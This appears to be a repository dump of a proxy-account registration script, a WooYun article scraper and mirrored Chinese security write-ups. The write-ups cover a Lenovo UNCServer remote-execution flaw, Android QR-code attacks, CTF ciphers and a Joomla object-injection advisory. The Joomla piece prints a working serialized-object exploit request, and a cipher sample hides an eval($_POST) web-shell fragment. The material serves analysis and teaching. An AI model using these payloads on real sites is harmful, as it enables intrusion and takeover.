| -------------------------------------------------------------------------------- /AutoGetSS/reg.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = 'Jian' 3 | import log 4 | try: 5 | import requests 6 | except ImportError: 7 | log.logger.warn('requests module not found.') 8 | try: 9 | from bs4 import BeautifulSoup 10 | except ImportError: 11 | log.logger.warn("bs module not found.") 12 | import sys 13 | import os 14 | import time 15 | from subprocess import Popen 16 | import ConfigParser 17 | 18 | reload(sys) 19 | sys.setdefaultencoding('utf-8') 20 | 21 | '''http://user.jumpss.com/user/register.php''' 22 | 23 | 24 | class RegSS(): 25 | def __init__(self, main_url, nick, email, passwd): 26 | self.main_url = main_url 27 | self.name = nick 28 | self.email = email 29 | self.passwd = passwd 30 | self.keys = '' 31 | self.reg = '/_reg.php' 32 | self.session = requests.session() 33 | self.headers = { 34 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36', 35 | 'Host': 'user.jumpss.com', 36 | 'Origin': 'http://user.jumpss.com', 37 | 'Connection': 'keep-alive', 38 | 'Referer': 'http://user.jumpss.com/user/register.php', 39 | 'Content-Type': 'application/x-www-form-urlencoded', 40 | 'X-Requested-With': 'XMLHttpRequest' 41 | } 42 | 43 | def getCaptcha(self): 44 | log.logger.info("Start get captcha ") 45 | 46 | timsstamp = str(int(time.time() * 1000)) 47 | captcha_URL = 'http://user.jumpss.com/authnum.php?1' 48 | print captcha_URL 49 | captcha = self.session.get(url=captcha_URL, headers=self.headers) 50 | if not os.path.exists("captcha"): 51 | os.mkdir("captcha") 52 | # save captcha 53 | # @sys.path[0] 54 | try: 55 | with open("captcha\\" + timsstamp + '.png', 'wb') as f: 56 | f.write(captcha.content) 57 | Popen(sys.path[0] + "\\captcha\\" + timsstamp + '.png', shell=True) 58 | except: 59 | raise '[!]Captha get failed,error from method of getCaptcha().' 60 | self.keys = str(raw_input("[+]input captcha:")) 61 | log.logger.info("[+]The captcha is :%s", self.keys) 62 | 63 | def reg1(self): 64 | log.logger.info("Start register a new user") 65 | r2 = self.session.post(url=(self.main_url + self.reg), 66 | data=dict(email=self.email, name=self.name, passwd=self.passwd, repasswd=self.passwd, 67 | code='', keys=self.keys, invitee='') 68 | ) 69 | if 'ok' in str(r2.text): 70 | log.logger.info("register success") 71 | log.logger.info('register email:%s , passwd:%s' % (self.email, self.passwd)) 72 | # unicode 转中文参考 http://windkeepblow.blog.163.com/blog/static/1914883312013988185783/ 73 | log.logger.info("register info:%s", r2.text.decode("unicode_escape")) 74 | log.logger.info("register finished") 75 | return True 76 | else: 77 | log.logger.info('[!]register failed.') 78 | # unicode 转中文参考 http://windkeepblow.blog.163.com/blog/static/1914883312013988185783/ 79 | log.logger.info("register info:%s", r2.text.decode("unicode_escape")) 80 | log.logger.info("register finished") 81 | return False 82 | 83 | def main(config_file_path): 84 | r = RegSS 85 | cf = ConfigParser.ConfigParser() 86 | cf.read(config_file_path) 87 | mainUrl = cf.get("registerInfo", "mainUrl") 88 | nick = cf.get("registerInfo", "nick") 89 | passwd = cf.get("registerInfo", "passwd") 90 | email = cf.get("registerInfo", "email") 91 | r = RegSS(mainUrl, nick, email, passwd) 92 | r.getCaptcha() 93 | if r.reg1(): 94 | # 写入配置文件 95 | # cf.add_section("TestConfigParser") 96 | 97 | rawUserLists = cf.get("loginGeneralSS", "userlists") 98 | cf.set("loginGeneralSS", "userlists", rawUserLists + "|" + r.email + "&" + r.passwd) 99 | cf.write(open("config.ini", "wb")) 100 | else: 101 | pass 102 | 103 | 104 | ###################Test########################## 105 | if __name__ == '__main__': 106 | main('config.ini') 107 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/一个PC上的“WormHole”漏洞.md: -------------------------------------------------------------------------------- 1 | # 一个PC上的“WormHole”漏洞 2 | 3 | [ xlab](/author/xlab) · 2015/11/05 12:38 4 | 5 | **Danny_Wei@腾讯玄武实验室** 6 | 7 | # 0x00 前言 8 | 9 | * * * 10 | 11 | 最近安全界关注的焦点WormHole是一类不安全的开发习惯所导致的，在PC上类似问题也毫不罕见，只不过很多风险被微软默认自带的防火墙缓解了。希望本文和众多关于WormHole的讨论能获多或少地提高一些开发人员的安全意识。 12 | 13 | 下面要介绍的问题可导致的后果和WormHole非常类似：影响上亿用户、访问一个端口发送一条指令就可以让目标系统下载一个程序并执行。 14 | 15 | 该问题已于2015年9月29日被修复。在修复前，存在于所有使用预装Windows系统的ThinkPad、ThinkCentre、ThinkStation以及Lenovo V/B/K/E系列电脑。 16 | 17 | # 0x01 背景 18 | 19 | * * * 20 | 21 | 联想ThinkVantage System Update软件用于帮助用户从联想的服务器中直接下载并安装软件、驱动、BIOS的更新，极大的简化了用户更新系统的难度和工作量。其被默认预装在联想的多款产品中。 22 | 23 | Lenovo System Update可根据不同的网络环境及配置通过多种方式下载软件及更新，其中一种方式为通过文件共享下载，而UNCServer.exe则是完成此功能的主程序，UNCServer.exe随System Update主程序启动，并建立本地服务端等待主程序连接。在早期版本中，甚至SystemUpdate主程序退出后，UNCServer.exe也仍然保持运行状态。 24 | 25 | # 0x02 问题描述 26 | 27 | * * * 28 | 29 | 在System Update的5.6.0.34版本中，UNCServer.exe通过.NET的Remoting机制，通过TCP服务器提供多种功能。 30 | 31 | .NET Remoting发展自DCOM，是一项比较老的.NET分布式处理技术。它序列化服务端的对象和数据并导出，客户端通过HTTP、TCP、IPC信道跨越进程边界实现对服务端对象的引用。然而Remoting的序列化机制会隐式导出对象所有的方法和属性，客户端一旦获得服务端导出的对象引用，即可调用服务端对象提供的所有方法。因此Remoting机制容易引入安全漏洞，且不建议将Remoting服务终端导出给不受信任的客户端。 32 | 33 | UNCServer导出的Connector对象提供Connect、DownloadBean、IsFileExist、IsFolderExist、GetFilesInFolder、GetSubFolder、QueryFile、LaunchIE功能。客户端可以连接并获取其引出对象，进行文件下载、应用程序执行等操作。 34 | 35 | 其中LaunchIE并未对参数进行任何验证，可以用来启动任意进程，其实现代码如下： 36 | 37 | 38 | 39 | case UNCAction.LaunchIE: 40 | string fileName = (string) eventObj; 41 | try{ 42 | Process.Start(fileName); 43 | } 44 | catch{ 45 | } 46 | this.connector.Current = (object) true; 47 | break; 48 | 49 | 50 | 同时，虽然System Update在防火墙策略中只添加了UNCServer的出站规则，但由于UNCServer缺少必要的配置，使其绑定在0.0.0.0:20050上。因此在缺乏防火墙保护的情况下，任何机器都可与其建立连接，最终使用其提供的DownloadBean和LaunchIE功能实现远程下载程序并执行。 51 | 52 | UNCServer建立服务端信道并导出对象的代码如下： 53 | 54 | 55 | 56 | IDictionary properties = (IDictionary) new Hashtable(); 57 | properties[(object) "name"] = (object) "tvsuuncchannel"; 58 | properties[(object) "priority"] = (object) 2; 59 | properties[(object) "port"] = (object) 20050; 60 | this.channel = new TcpServerChannel(properties, (IServerChannelSinkProvider) new BinaryServerFormatterSinkProvider()); 61 | ChannelServices.RegisterChannel((IChannel) this.channel, false); 62 | this.status = new object(); 63 | this.connector = new Connector(); 64 | RemotingServices.Marshal((MarshalByRefObject) this.connector, "Connector"); 65 | this.connector.UNCEvent += new Connector.UNCEventHandler(this.connector_UNCEvent); 66 | 67 | 68 | # 0x03 修复 69 | 70 | * * * 71 | 72 | 联想在2015/9/29日放出的System Update 5.7.0.13修复了包括此问题在内的多个漏洞。其重新实现了LaunchIE、LaunchHelp功能，对其创建进程的参数进行了验证。并加强了服务端的配置，使其绑定在127.0.0.1:20050，阻止了远程请求。修复后的部分代码如下： 73 | 74 | 75 | 76 | case UNCAction.LaunchIE: 77 | try{ 78 | tring str = (string) eventObj; 79 | Uri result; 80 | if (Uri.TryCreate(str, UriKind.Absolute, out result) && (result.Scheme == Uri.UriSchemeHttp || result.Scheme == Uri.UriSchemeHttps)) 81 | Process.Start(str); 82 | } 83 | catch{ 84 | } 85 | this.connector.Current = (object) true; 86 | break; 87 | 88 | 89 | IDictionary properties = (IDictionary) new Hashtable(); 90 | properties[(object) "name"] = (object) "tvsuuncchannel"; 91 | properties[(object) "priority"] = (object) 2; 92 | properties[(object) "port"] = (object) 20050; 93 | properties[(object) "rejectRemoteRequests"] = (object) true; 94 | properties[(object) "bindTo"] = (object) "127.0.0.1"; 95 | this.channel = new TcpServerChannel(properties, (IServerChannelSinkProvider) new BinaryServerFormatterSinkProvider()); 96 | ChannelServices.RegisterChannel((IChannel) this.channel, false); 97 | this.status = new object(); 98 | this.connector = new Connector(); 99 | RemotingServices.Marshal((MarshalByRefObject) this.connector, "Connector"); 100 | this.connector.UNCEvent += new Connector.UNCEventHandler(this.connector_UNCEvent); 101 | 102 | 103 | # 0x04 小结 104 | 105 | * * * 106 | 107 | Remoting作为上一代的.NET分布式处理技术，由于设计时的安全缺陷早已被微软的WCF技术取代。如果应用程序仍在使用Remoting技术进行分布式处理或通信，应意识到其潜在的安全问题，稍有不当则可能引入安全漏洞。 108 | 109 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/Android平台下二维码漏洞攻击杂谈.md: -------------------------------------------------------------------------------- 1 | # Android平台下二维码漏洞攻击杂谈 2 | 3 | [ 路人甲](/author/路人甲) · 2015/12/02 12:42 4 | 5 | # 0x00 前言 6 | 7 | * * * 8 | 9 | 现在AndroidApp几乎都有二维码扫描功能，如果没有考虑到二维码可能存在的安全问题，将会导致扫描二维码就会受到漏洞攻击，严重的可能导致手机被控制，信息泄漏等风险。 10 | 11 | # 0x01 拒绝服务 12 | 13 | * * * 14 | 15 | 低版本的zxing这个二维码库在处理畸形二维码时存在数组越界，导致拒绝服务。扫描下面的二维码，可能导致主程序崩溃： 16 | 17 | ![p1](http://static.wooyun.org//drops/20151201/201512011130233308817.jpg) 18 | 19 | 通过程序的崩溃日志可以看出是个数组越界： 20 | 21 | 22 | 23 | 11-23 10:39:02.535: E/AndroidRuntime(1888): FATAL EXCEPTION: Thread-14396 24 | 11-23 10:39:02.535: E/AndroidRuntime(1888): Process: com.xxx, PID: 1888 25 | 11-23 10:39:02.535: E/AndroidRuntime(1888): java.lang.ArrayIndexOutOfBoundsException: length=9; index=9 26 | 11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.common.BitSource.readBits(Unknown Source) 27 | 11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.decoder.DecodedBitStreamParser.decodeAlphanumericSegment(Unknown Source) 28 | 11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.decoder.DecodedBitStreamParser.decode(Unknown Source) 29 | 11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.decoder.Decoder.decode(Unknown Source) 30 | 11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.qrcode.QRCodeReader.decode(Unknown Source) 31 | 11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.MultiFormatReader.decodeInternal(Unknown Source) 32 | 11-23 10:39:02.535: E/AndroidRuntime(1888): at com.google.zxing.MultiFormatReader.decodeWithState(Unknown Source) 33 | 34 | 35 | # 0x02 本地文件读取 36 | 37 | * * * 38 | 39 | 之前Wooyun上爆了一个[利用恶意二维码攻击快拍](http://www.wooyun.org/bugs/wooyun-2010-09145)的漏洞，识别出来的二维码默认以html形式展示(Android+Iphone)，可以执行html和js。将下面的js在cli.im网站上生成二维码： 40 | 41 | 42 | 43 | #!js 44 | 52 | 53 | 54 | ![p2](http://static.wooyun.org//drops/20151201/201512011130248147023.jpg) 55 | 56 | 用快拍扫描之后，就能读取本地文件内容： 57 | 58 | ![p3](http://static.wooyun.org//drops/20151201/201512011130263480235.jpg) 59 | 60 | # 0x03 UXSS 61 | 62 | * * * 63 | 64 | 去年，Android平台上的Webview UXSS漏洞被吵的沸沸扬扬，由于低版本的Android系统自带的Webview组件使用Webkit作为内核，导致Webkit的历史漏洞就存在于Webview里面，其中就包括危害比较大的UXSS漏洞。 65 | 66 | Webview组件几乎存在于所有Android App中，用来渲染网页。如果扫描二维码得到的结果是个网址，大部分App会直接用Webview来打开，由于Webview存在UXSS漏洞，很容易导致资金被窃、帐号被盗或者隐私泄露。漏洞介绍可参考TSRC博文：[Android Webview UXSS漏洞攻防](http://security.tencent.com/index.php/blog/msg/70) 67 | 68 | ![p4](http://static.wooyun.org//drops/20151201/201512011130277386842.jpg) 69 | 70 | # 0x04 远程命令执行 71 | 72 | * * * 73 | 74 | 大部分Android App扫描二维码之后，如果识别到的二维码内容是个网址时，会直接调用Webview来进行展示。如果Webview导出了js接口，并且targetSDK是在17以下，就会受到远程命令执行漏洞攻击风险。 75 | 76 | 苏宁易购Android版扫描二维码会用Webview打开网页，由于苏宁易购导出多个js接口，因此扫描二维码即会受到远程命令执行漏洞攻击（最新版本已修复）。 77 | 78 | `com.suning.mobile.ebuy.host.webview.WebViewActivity`导出多个js接口： 79 | 80 | 81 | 82 | #!java 83 | this.b(this.a); 84 | this.s = this.findViewById(2131494713); 85 | this.d = this.findViewById(2131494100); 86 | this.d.a(((BaseFragmentActivity)this)); 87 | this.l = new SNNativeClientJsApi(this); 88 | this.d.addJavascriptInterface(this.l, "client"); 89 | this.d.addJavascriptInterface(this.l, "SNNativeClient"); 90 | this.d.addJavascriptInterface(new YifubaoJSBridge(this), "YifubaoJSBridge"); 91 | 92 | 93 | 由于targetSDKversion为14，因此所有Android系统版本都受影响： 94 | 95 | 96 | 97 | 101 | 102 | 103 | 104 | 苏宁易购Android版首页有个扫描二维码的功能： 105 | 106 | ![p5](http://static.wooyun.org//drops/20151201/201512011130293469854.jpg) 107 | 108 | 扫描二维码时，如果二维码是个网页链接，就会调用上面的Webview组件打开恶意网页： 109 | 110 | ![p6](http://static.wooyun.org//drops/20151201/201512011130308086161.jpg) 111 | 112 | 恶意二维码如下： 113 | 114 | ![p7](http://static.wooyun.org//drops/20151201/201512011130368499371.jpg) 115 | 116 | # 0x05 总结 117 | 118 | * * * 119 | 120 | 二维码可能攻击的点还不止上面列的那些，发散下思维，还有zip目录遍历导致的远程代码执行漏洞，还有sql注入漏洞，说不定还有缓冲区溢出漏洞。思想有多远，攻击面就有多宽！Have Fun！ 121 | 122 | -------------------------------------------------------------------------------- /dropsWooyun2/index.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = 'Administrator' 3 | """ 4 | html2text bug: 5 | Long list lines do not wrap (长url包裹问题) 6 | fix: 7 | change 'result += "\n".join(wrap(para, self.body_width))' 8 | to 'result += "".join(wrap(para, self.body_width))' 9 | """ 10 | 11 | from bs4 import BeautifulSoup 12 | import html2text2 13 | import sys 14 | import os 15 | import logging 16 | import helixUtils 17 | import time 18 | 19 | reload(sys) 20 | sys.setdefaultencoding("utf-8") 21 | 22 | 23 | class WooYunArticle(): 24 | def __init__(self): 25 | self.helix = helixUtils.Helix() 26 | 27 | """ 28 | 遍历网页从中获取文章地址放入targetUrls[]中 29 | start page :http://drops.wooyun.org/page/1 30 | end page :http://drops.wooyun.org/page/88 31 | """ 32 | 33 | def getTagetUrlsFromWebPages(self): 34 | logging.info("starting getTargetUrlsFromWebPages.") 35 | # 获取乌云知识库首页内容 36 | req = self.helix.session.get(url=self.helix.mainUrl, headers=self.helix.headers_pc) 37 | # 用beautifulsoup解析 38 | soup1 = BeautifulSoup(req.text) 39 | # start为第一页 40 | start = 1 41 | # 解析获取最后一页 42 | last = int(soup1.find('a', {'class': 'last'}).get('href').split('/')[-1]) 43 | for i in xrange(start, last, 1): 44 | # 循环获取每一页上内容 45 | r = self.helix.session.get(url='http://drops.wooyun.org/page/' + str(i)) 46 | soup2 = BeautifulSoup(r.text) 47 | # 从配置文件中读取第一条文章的链接 48 | firstNo = self.helix.firstTag.split('/')[-1] 49 | # 使用beautifulsoup解析出文章的连接 50 | for i in soup2.find_all("a", {'rel': 'bookmark'}): 51 | # 判断firstTag 是否在第一条，如果不在就继续抓取，如果在则说明已经抓取过 52 | if firstNo not in i.get('href'): 53 | # 将目标链接放入 targetPool List当中 54 | self.helix.targetPool.append(i.get('href')) 55 | # 日志记录链接已经写入文件 56 | logging.info('%s %s has been saved in targetUrls.txt' % (i.get('title'), i.get('href'))) 57 | else: 58 | try: 59 | self.helix.setFistTag(self.helix.targetPool[0]) 60 | logging.info("链接已经存在.") 61 | except: 62 | logging.info("链接已经存在.") 63 | finally: 64 | return 65 | self.helix.setFistTag(self.helix.targetPool[0]) 66 | logging.info('一共抓取 :%d 条链接.' % len(self.helix.targetPool)) 67 | logging.info("finish getTargetUrlsFromWebPages.") 68 | 69 | """ 70 | 从网页中获取article区域的标题和文章，利用html2text2库，转为markdown格式 71 | get article html 72 | """ 73 | 74 | def getArticle(self): 75 | i = self.helix.total_flag + 1 76 | j = self.helix.error_flag + 1 77 | logging.info('正在抓取文章喵..............') 78 | for url in self.helix.targetPool: 79 | r = self.helix.session.get(url=url, headers=self.helix.headers_pc) 80 | soup = BeautifulSoup(r.text.encode('utf-8')) 81 | title = soup.h1.string 82 | content = soup.article 83 | 84 | if not os.path.exists('markdownFile'): 85 | os.mkdir("markdownFile") 86 | try: 87 | f = open(r"markdownFile//" + title + ".md", 'w') 88 | f.write(str(html2text2.html2text(content.encode('utf-8')))) 89 | f.flush() 90 | f.close() 91 | logging.info('第%d条 %s : %s' % (i, title, url)) 92 | except: 93 | self.helix.errorPool.append(url) 94 | logging.warn('第%d条 %s : %s 存在问题.' % (i, title, url)) 95 | logging.info("正在处理异常 喵...........") 96 | updatedtitle = str(title).replace('/', '-').encode("utf-8") 97 | f = open(r'markdownFile//' + str(time.time()) + '.md', 'w') 98 | f.write(str(html2text2.html2text(content.encode('utf-8')))) 99 | f.flush() 100 | f.close() 101 | logging.info('第%d条 [%s -----> %s]' % (j, title, updatedtitle)) 102 | j += 1 103 | pass 104 | i += 1 105 | 106 | logging.info('一共抓取 %d 篇文章,错误 %d ,错误率%s%%' % (i, j, format((float(j) / float(i)), '.2%'))) 107 | logging.info("finish getArticles.") 108 | 109 | 110 | # 主程序入口 111 | def main(): 112 | w = WooYunArticle() 113 | w.getTagetUrlsFromWebPages() 114 | w.getArticle() 115 | 116 | 117 | if __name__ == '__main__': 118 | main() -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/那些年做过的ctf之加密篇.md: -------------------------------------------------------------------------------- 1 | # 那些年做过的ctf之加密篇 2 | 3 | [ 好基友一辈子](/author/好基友一辈子) · 2015/11/03 10:25 4 | 5 | 最近ctf做的比较多，顺便整理一下做个笔记，大概有加密篇、隐写篇、逆向破解和web方向的几篇文章，整理出来之后会陆续发出来。 6 | 7 | # 0x01 Base64 8 | 9 | * * * 10 | 11 | > Base64:`ZXZhbCgkX1BPU1RbcDRuOV96MV96aDNuOV9qMXVfU2gxX0oxM10pNTU2NJC3ODHHYWJIZ3P4ZWY=` 12 | 13 | Base64编码要求把3个8位字节（3*8=24）转化为4个6位的字节（4*6=24），之后在6位的前面补两个0，形成8位一个字节的形式。如果剩下的字符不足3个字节，则用0填充，输出字符使用'='，因此编码后输出的文本末尾可能会出现1或2个'=' 14 | 15 | Base32:Base32和Base64相比只有一个区别就是，用32个字符表示256个ASC字符，也就是说5个ASC字符一组可以生成8个Base字符，反之亦然。 16 | 17 | 在线编解码： 18 | 19 | # 0x02 希尔密码 20 | 21 | * * * 22 | 23 | > 希尔密码：密文： `22,09,00,12,03,01,10,03,04,08,01,17` （明文：`wjamdbkdeibr`） 24 | 25 | 解题思路：使用的矩阵是 1 2 3 4 5 6 7 8 10 26 | 27 | 原文链接： 28 | 29 | 百度百科： 30 | 31 | # 0x03 栅栏密码 32 | 33 | * * * 34 | 35 | > 栅栏密码：把要加密的明文分成N个一组，然后把每组的第1个字连起来，形成一段无规律的话。 36 | 37 | 密文样例：`tn c0afsiwal kes,hwit1r  g,npt  ttessfu}ua u  hmqik e {m,  nhuiouosarwCniibecesnren.` 38 | 39 | 解密程序： 40 | 41 | 42 | 43 | char s[]= "tn c0afsiwal kes,hwit1r  g,npt  ttessfu}ua u  hmqik e {m,  n huiouosarwCniibecesnren.";   44 | char t[86]= "";   45 | int i,j,k; 46 | k=0; 47 | for (i=0;i<17;i++)   48 | {   49 |       for(j=0;j<5;j++)   50 |       {   51 |                 t[k++]= ch[j*17+i];   52 |       }   53 | }   54 | for(i=0;i<85;i++) 55 | { 56 |     printf("%c",t[i]); 57 | }   58 | 59 | 60 | 原文链接： 61 | 62 | # 0x04 凯撒密码 63 | 64 | * * * 65 | 66 | > 凯撒密码：通过把字母移动一定的位数来实现加密和解密。明文中的所有字母都在字母表上向后（或向前）按照一个固定数目进行偏移后被替换成密文。 67 | 68 | 密文样例：`U8Y]:8KdJHTXRI>XU#?!K_ecJH]kJG*bRH7YJH7YSH]*=93dVZ3^S8*$:8"&:9U]RH;g=8Y!U92'=j*$KH]ZSj&[S#!gU#*dK9\\.` 69 | 70 | 解题思路：得知是凯撒加密之后，尝试进行127次轮转爆破： 71 | 72 | 73 | 74 | #!python 75 | lstr="""U8Y]:8KdJHTXRI>XU#?!K_ecJH]kJG*bRH7YJH7YSH]*=93dVZ3^S8*$:8"&:9U]RH;g=8Y!U92'=j*$KH]ZSj&[S#!gU#*dK9\."""   76 |    77 | for p in range(127):   78 |     str1 = ''   79 |     for i in lstr:   80 |         temp = chr((ord(i)+p)%127)   81 |         if 32 92 | 93 | # 0x05 Unicode 94 | 95 | * * * 96 | 97 | 密文样例：`\u5927\u5bb6\u597d\uff0c\u6211\u662f\u0040\u65e0\u6240\u4e0d\u80fd\u7684\u9b42\u5927\u4eba\uff01\u8bdd\u8bf4\u5fae\u535a\u7c89\u4e1d\u8fc7\` 98 | 99 | 在线解密：[tool.chinaz.com/Tools/Unicode.aspx](http://tool.chinaz.com/Tools/Unicode.aspx) 100 | 101 | # 0x06 brainfuck 102 | 103 | * * * 104 | 105 | 类型： 106 | 107 | 108 | 109 | ++++++++++[>+++++++>++++++++++>+++>+<<<<-] 110 | >++.>+.+++++++..+++.>++.<<+++++++++++++++. 111 | >.+++.------.--------.>+.>. 112 | 113 | 114 | 利用BFVM.exe直接解密 115 | 116 | 用法 `loadtxt 1.txt` 117 | 118 | 在线解密： 119 | 120 | # 0x07 摩斯密码 121 | 122 | * * * 123 | 124 | 密文样例：`\--  ---  .-.  ...  .` 125 | 126 | * 127 | * 128 | 129 | # 0x08 jsfuck 130 | 131 | * * * 132 | 133 | 密文中 `()[]{}!+` 134 | 135 | 在线解密： 136 | 137 | * [www.jsfuck.com](http://www.jsfuck.com) 138 | * 139 | 140 | # 0x09 培根密码 141 | 142 | * * * 143 | 144 | 培根所用的密码是一种本质上用二进制数设计的。不过，他没有用通常的0和1来表示，而是采用a和b。 145 | 146 | 百科： 147 | 148 | # 0x0A 猪圈密码又称共济会密码 149 | 150 | * * * 151 | 152 | 百度百科： 153 | 154 | # 0x0B CRC32 155 | 156 | * * * 157 | 158 | 密文样例：`4D1FAE0B` 159 | 160 | 161 | 162 | #!python 163 | import zlib 164 | def crc32(st): 165 | crc = zlib.crc32(st) 166 | if crc > 0: 167 | return "%x" % (crc) 168 | else: 169 | return "%x" % (~crc ^ 0xffffffff) 170 | 171 | 172 | 原文链接： 173 | 174 | 对于其他一些未知密文，可尝试到下列几个网站转换试试，看看运气 175 | 176 | * 177 | * 178 | 179 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/Joomla 对象注入漏洞分析报告.md: -------------------------------------------------------------------------------- 1 | # Joomla 对象注入漏洞分析报告 2 | 3 | [ 阿里云安全](/author/阿里云安全) · 2015/12/16 16:05 4 | 5 | **Author:阿里云安全攻防对抗团队** 6 | 7 | 近日，Joomla再曝高危0day漏洞，可进行远程命令执行，阿里云云盾昨日已上线相应的拦截规则抵御该漏洞。同时,对云托管客户已经做了电话通知和自动漏洞修复。统计数据显示，截至16日凌晨，已有数百个恶意IP尝试使用该漏洞对阿里云网站发起攻击，云盾已成功拦截上万次攻击请求，其中攻击请求数排名第一的黑客在一小时内尝试入侵超过1000个 Joomla 网站。 8 | 9 | 根据此次漏洞情况，Joomla 官方已紧急放出了3.4.6版本。joomla用户除了尽快升级至最新版本，也可采用阿里云安全团队给出的更为完善的修复方案，对网站进行加固，详情可参考：0x03漏洞修复。 10 | 11 | # 0x00 漏洞介绍 12 | 13 | * * * 14 | 15 | 昨日，Joomla 安全团队紧急发布了 Joomla 3.4.6 版本，修复了一个高危 0day 漏洞。该漏洞影响了 1.5 到 3.4.5的所有版本，漏洞利用无须登录，直接在前台即可执行任意PHP代码。 16 | 17 | # 0x01 漏洞利用 18 | 19 | * * * 20 | 21 | 将恶意代码放在 User-Agent 或 X-Forwarded-For中发送给网站，将网站返回的cookie值带入第二个请求中，即可触发漏洞。或是在第一个请求中指定cookie值，在第二次中带上同样cookie值也能触发漏洞。 22 | 23 | 请求一： 24 | 25 | 26 | 27 | #!bash 28 | GET / HTTP/1.1 29 | Host: 127.0.0.1 30 | X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð 31 | Cookie: 3342514dde143a04dad958b2eb5a748a=pd4nnqlps2suk9r70189jkpdn2 32 | 33 | 34 | 请求二： 35 | 36 | 37 | 38 | #!bash 39 | GET / HTTP/1.1 40 | Host: 127.0.0.1 41 | Cookie: 3342514dde143a04dad958b2eb5a748a=pd4nnqlps2suk9r70189jkpdn2 42 | 43 | 44 | 如果执行成功，请求二的返回内容中会显示phpinfo()的执行结果。 45 | 46 | # 0x02 漏洞分析 47 | 48 | * * * 49 | 50 | 在`libraries/joomla/session/session.php`文件中，joomla将`HTTP_USER_AGENT`和`HTTP_X_FORWARDED_FOR`直接存入到了session中 51 | 52 | 53 | 54 | #!php 55 | …… 56 | // Record proxy forwarded for in the session in case we need it later 57 | if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) 58 | { 59 | $this->set('session.client.forwarded',$_SERVER['HTTP_X_FORWARDED_FOR']); 60 | …… 61 | // Check for clients browser 62 | if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT'])) 63 | { 64 | $browser = $this->get('session.client.browser'); 65 | if ($browser === null) 66 | { 67 | $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']); 68 | } 69 | } 70 | 71 | 72 | 继续跟进joomla对于session的处理方式，在 `/libraries/joomla/session/storage.php` 内`JSessionStorage` 类中，利用`session_set_save_handler`重新实现了 session 存储的read()和write()方法，从php手册中得定义看到，read()、write()方法传进和传出的参数会分别自动进行序列化和反序列化，这一部分的序列化操作由PHP内核完成： 73 | 74 | ![enter image descriptionhere](http://static.wooyun.org//drops/20151216/2015121608060684532.jpg) 75 | 76 | 继续跟入到read()和write()函数，代码位于`libraries/joomla/session/storage`目录中，从所有session存储引擎的实现代码中可以看到，joomla都没有对 session 的value进行安全处理就进行了写入操作。 默认情况下，joomla使用了数据库引擎对session 进行存储，这也是本漏洞可以成功利用的条件之一，构造exp时候，利用 Mysql的字符截断特性，最终写入到数据库中一个被破坏的不合法的反序列化对象，当这个对象被执行read()读取时候，因为截断字符的关系， PHP内核（PHP <= 5.6.13）在解析`session.client.forwarded`后面字符串时，由于长度Check不一致，导致`php_var_unserialize`提前退出，返回false，PHP在上一次`php_var_unserialize`失败的时候，会从之前的指针位置继续开始下一轮key-value尝试，在新一轮key-value尝试中，PHP内核将攻击者注入的"|"当成了分隔符，进行key-value解析，进行反序列化导致对象方法被执行。 77 | 78 | 漏洞的本质原因有两个，一个是php内核的session解析器bug导致的，另一个是mysql数据库的字符截断特性。如果使用的session存储引擎不存在Mysql这样的字符截断特性，此漏洞就无法复现。我们测试该漏洞时，将joomla配置文件`configuration.php`中的`$session_handler`配置为none，即使用文件系统存储session，发现漏洞无法成功利用。 79 | 80 | # 0x03漏洞修复 81 | 82 | * * * 83 | 84 | Joomla 官方已经在昨天紧急放出了3.4.6版本。比对代码后发现，官方此次的升级补丁仅仅在`/libraries/joomla/session/session.php`中删掉了将HTTP_USER_AGENT写入SESSION变量中的代码，增加了对 HTTP_X_FORWARDED_FOR获取到IP的合法性验证，将此次公开的exp中的利用点修复掉了。但官方没有对JSessionStorage类中处理session的不安全方式进行修复，因此这个修复方式存在被绕过的可能。只要攻击者寻找到新的可控SESSION值的位置，就可用同样的构造方法触发漏洞。 85 | 86 | 下面给出更为完善的修复方案： 87 | 88 | 修改 Joomla 根目录 `configuration.php` ，把 `$session_handler`的值改为none，会将session存储引擎设为文件系统。 把 PHP 版本升到到 5.6.13 或更高的版本。 89 | 90 | 登录Joomla后台把程序升级到 3.4.6 或更高的版本。 91 | 92 | # 0x04 威胁现状 93 | 94 | * * * 95 | 96 | 统计数据显示，截至16日凌晨，已有数百个恶意IP尝试使用该漏洞对阿里云网站发起攻击，云盾已成功拦截上万次攻击请求，其中攻击请求数排名第一的黑客在一小时内尝试入侵超过1000个 Joomla 网站。 97 | 98 | 对攻击者使用的攻击payload分析，大部分攻击者在第一个请求中都会插入类似 `eval(base64_decode($_post[a]))`这样的代码，在第二个请求中尝试向网站根目录写入一句话木马。如果攻击成功，网站将会被攻击者完全控制。也有部分攻击者使用的是网上公开的漏洞检测payload，如`phpinfo();` 和 `md5(233333);` ，这些代码一般不会对网站造成威胁。 99 | 100 | 相关链接： 101 | 102 | 103 | 104 | 